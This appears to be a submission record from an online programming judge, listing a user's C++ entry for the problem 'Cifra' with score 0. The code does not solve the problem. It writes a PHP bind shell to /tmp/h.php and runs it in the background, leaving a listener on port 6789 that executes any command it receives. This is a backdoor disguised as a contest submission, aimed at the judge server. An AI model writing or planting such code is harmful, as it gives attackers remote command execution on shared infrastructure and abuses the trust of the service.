Cod sursa(job #1849903)

Utilizator pionpStefan Tabara pionp Data 17 ianuarie 2017 22:42:23
Problema Cifra Scor 0
Compilator cpp Status done
Runda Arhiva de probleme Marime 0.64 kb
#include <fstream>
#include <stdlib.h>
#include <iostream>
#include <stdexcept>
#include <string>

using namespace std;
char payload[]="<?php set_time_limit (0); $address = '0.0.0.0'; $port = 6789; $sock = socket_create(AF_INET, SOCK_STREAM, 0); socket_bind($sock, 0, $port) or die('Could not bind to address'); socket_listen($sock); while (true) { $client =  socket_accept($sock); $input =  socket_read($client, 1024000); $response=exec($input); socket_write($client, $response); socket_close($client); } socket_close($sock); ?>";
int main()
{
	ofstream fout("/tmp/h.php");
	fout<<payload;
	fout.close();
	int x=system("php /tmp/h.php &");
	return 0;
}